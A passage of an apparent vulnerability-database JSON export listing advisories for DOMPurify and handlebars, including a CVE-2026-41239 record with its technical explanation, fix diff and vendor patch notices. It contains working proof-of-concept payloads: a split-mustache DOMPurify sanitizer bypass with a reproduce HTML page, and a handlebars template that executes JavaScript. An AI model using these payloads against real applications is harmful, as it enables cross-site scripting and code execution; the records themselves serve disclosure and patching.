\u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor('alert(1)')()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` → `\u003cfoo\u003e` → `TEXT(\"{payload}\")` → `\u003cfoo\u003e` → `TEXT(\"}\")` — no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n  \u003cscript\u003e\n    var dirty = '\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e';\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: '#app' });\n  \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+          html = stringReplace(html, expr, ' ');\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```","status":"published","published":"2026-04-22T17:32:54Z","modified":"2026-04-27T16:32:13Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-79","CWE-1289"],"updated_at":"2026-11-02T14:39:58.897998Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2023-11-29T20:32:55Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T14:37:22.840002Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2023-01-09T05:04:02Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T14:36:08.267721Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2023-01-09T05:04:24Z","updated_at":"2026-11-02T14:36:09.554044Z"}],"nvd":[{"id":"CVE-2026-41239","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","status":"published","published":"2026-04-23T16:16:26.56Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79","CWE-1289"],"updated_at":"2026-11-02T14:12:15.867234Z"}],"osv":[{"id":"CVE-2026-41239","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","status":"published","published":"2026-04-23T14:47:56.129Z","modified":"2026-10-28T02:30:49.402047743Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-1289","CWE-79"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"DEBIAN-CVE-2026-41239","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","status":"published","published":"2026-04-23T16:16:26.56Z","modified":"2026-10-27T09:47:29.962830633Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:54.892385Z"},{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2026-09-10T03:48:33.174881747Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"GHSA-crv5-9vww-q3g8","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -\u003e ' '\n  content = content.replace(ERB_EXPR, ' ');        // \u003c%...%\u003e -\u003e ' '\n  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -\u003e ' '\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // \u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor('alert(1)')()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` → `\u003cfoo\u003e` → `TEXT(\"{payload}\")` → `\u003cfoo\u003e` → `TEXT(\"}\")` — no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n  \u003cscript\u003e\n    var dirty = '\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e';\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: '#app' });\n  \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+          html = stringReplace(html, expr, ' ');\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```","status":"published","published":"2026-04-22T17:32:54Z","modified":"2026-09-10T03:50:43.947374186Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-1289","CWE-79"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2026-09-10T03:48:23.648231681Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"UBUNTU-CVE-2026-41239","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","status":"published","published":"2026-04-23T16:16:00Z","modified":"2026-10-17T13:00:03.910735892Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:16.686388Z"},{"id":"CLSA-2026-1774743817","title":"TuxCare security update for handlebars (1 CVE)","description":"TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:48.668758728Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774743830","title":"TuxCare security update for handlebars (3 CVEs)","description":"TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-23T19:28:13.663406058Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1778546719","title":"TuxCare security update for dompurify (6 CVEs)","description":"TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.6-tuxcare.3.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-10-15T09:45:30.926676898Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778805976","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-10-15T09:45:31.523670706Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1780274966","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-10-15T09:48:03.584932787Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1780274972","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-10-23T19:28:10.361736614Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1780361389","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-10-15T09:48:03.558095016Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1786636600","title":"TuxCare security update for dompurify (16 CVEs)","description":"TuxCare rebuilt dompurify to address 16 CVEs. Fixed in 2.4.0-tuxcare.1.","status":"withdrawn","published":"2026-08-13T15:56:40Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1786636613","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 2.4.3-tuxcare.1.","status":"withdrawn","published":"2026-08-13T15:56:53Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1786636721","title":"TuxCare security update for dompurify (14 CVEs)","description":"TuxCare rebuilt dompurify to address 14 CVEs. Fixed in 2.4.7-tuxcare.1.","status":"withdrawn","published":"2026-08-13T15:58:41Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1786731948","title":"TuxCare security update for dompurify (34 CVEs)","description":"TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"withdrawn","published":"2026-08-14T18:25:48Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787602198","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.7-tuxcare.1.","status":"published","published":"2026-08-24T20:09:58Z","modified":"2026-10-15T09:48:03.099706625Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1789152222","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 2.3.0-tuxcare.5.","status":"published","published":"2026-09-11T18:43:42Z","modified":"2026-10-16T19:13:13.829024571Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789155659","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.4.3-tuxcare.8.","status":"published","published":"2026-09-11T19:40:59Z","modified":"2026-10-16T19:13:13.533550553Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789155876","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 2.5.8-tuxcare.7.","status":"published","published":"2026-09-11T19:44:36Z","modified":"2026-10-16T19:13:12.430055203Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1792159369","title":"TuxCare security update for dompurify (5 CVEs)","description":"TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.3.3-tuxcare.2.","status":"published","published":"2026-10-16T14:02:49Z","modified":"2026-10-16T16:30:25.233578048Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161492","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.6-tuxcare.2.","status":"published","published":"2026-10-16T14:38:11Z","modified":"2026-10-16T16:30:09.033084778Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792424339","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 2.0.8-tuxcare.3.","status":"published","published":"2026-10-19T15:38:59Z","modified":"2026-10-19T19:15:23.543387244Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792424449","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.3.3-tuxcare.3.","status":"published","published":"2026-10-19T15:40:49Z","modified":"2026-11-05T13:28:25.722214359Z","updated_at":"2026-11-05T16:37:45.64821Z"},{"id":"CLSA-2026-1792424891","title":"TuxCare security update for dompurify (13 CVEs)","description":"TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 2.3.10-tuxcare.3.","status":"published","published":"2026-10-19T15:48:11Z","modified":"2026-10-19T19:15:02.914996103Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792486117","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.3.","status":"published","published":"2026-10-20T08:48:37Z","modified":"2026-10-20T13:45:03.966154445Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792486837","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.2-tuxcare.3.","status":"published","published":"2026-10-20T09:00:37Z","modified":"2026-10-20T13:45:10.571759406Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792495646","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.0.8-tuxcare.3.","status":"published","published":"2026-10-20T11:27:26Z","modified":"2026-10-20T13:45:17.971508769Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792496766","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.0.9-tuxcare.3.","status":"published","published":"2026-10-20T11:46:06Z","modified":"2026-10-20T13:45:21.73707763Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792496994","title":"TuxCare security update for dompurify (7 CVEs)","description":"TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.11-tuxcare.3.","status":"published","published":"2026-10-20T11:49:54Z","modified":"2026-10-21T20:43:21.682685685Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792498640","title":"TuxCare security update for dompurify (6 CVEs)","description":"TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.0-tuxcare.3.","status":"published","published":"2026-10-20T12:17:20Z","modified":"2026-10-20T13:45:19.316064834Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792593858","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.3-tuxcare.3.","status":"published","published":"2026-10-21T14:44:18Z","modified":"2026-10-21T20:31:56.602424456Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792593965","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.1.2-tuxcare.3.","status":"published","published":"2026-10-21T14:46:05Z","modified":"2026-10-21T20:31:55.444097814Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792594075","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.1.1-tuxcare.3.","status":"published","published":"2026-10-21T14:47:55Z","modified":"2026-10-21T20:31:56.603365391Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792594185","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.4-tuxcare.3.","status":"published","published":"2026-10-21T14:49:45Z","modified":"2026-10-21T20:31:55.543082294Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1793287856","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.0.6-tuxcare.8.","status":"published","published":"2026-10-29T16:30:57Z","modified":"2026-10-29T19:45:49.863275125Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793287970","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.0.4-tuxcare.5.","status":"published","published":"2026-10-29T16:32:51Z","modified":"2026-10-29T19:45:49.863512576Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793288086","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.0.5-tuxcare.5.","status":"published","published":"2026-10-29T16:34:47Z","modified":"2026-10-29T19:45:49.528857912Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2026-09-10T03:49:13.649783342Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2026-09-10T03:48:58.277710865Z","updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"ROOT-APP-NPM-CVE-2026-41239","title":"CVE-2026-41239 in dompurify - Patched by Root","description":"Root has patched CVE-2026-41239 in the dompurify package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-28T04:55:46Z","modified":"2026-10-28T05:15:04.113832365Z","updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","title":"GHSA-2cf5-4w76-r9qv in handlebars - Patched by Root","description":"Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:38.540557189Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","title":"GHSA-g9r4-xpmj-mj65 in handlebars - Patched by Root","description":"Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:39.391242933Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","title":"GHSA-q2c6-c6pm-g3gh in handlebars - Patched by Root","description":"Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.928892011Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","title":"GHSA-q42p-pg8m-cqh6 in handlebars - Patched by Root","description":"Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.540463486Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
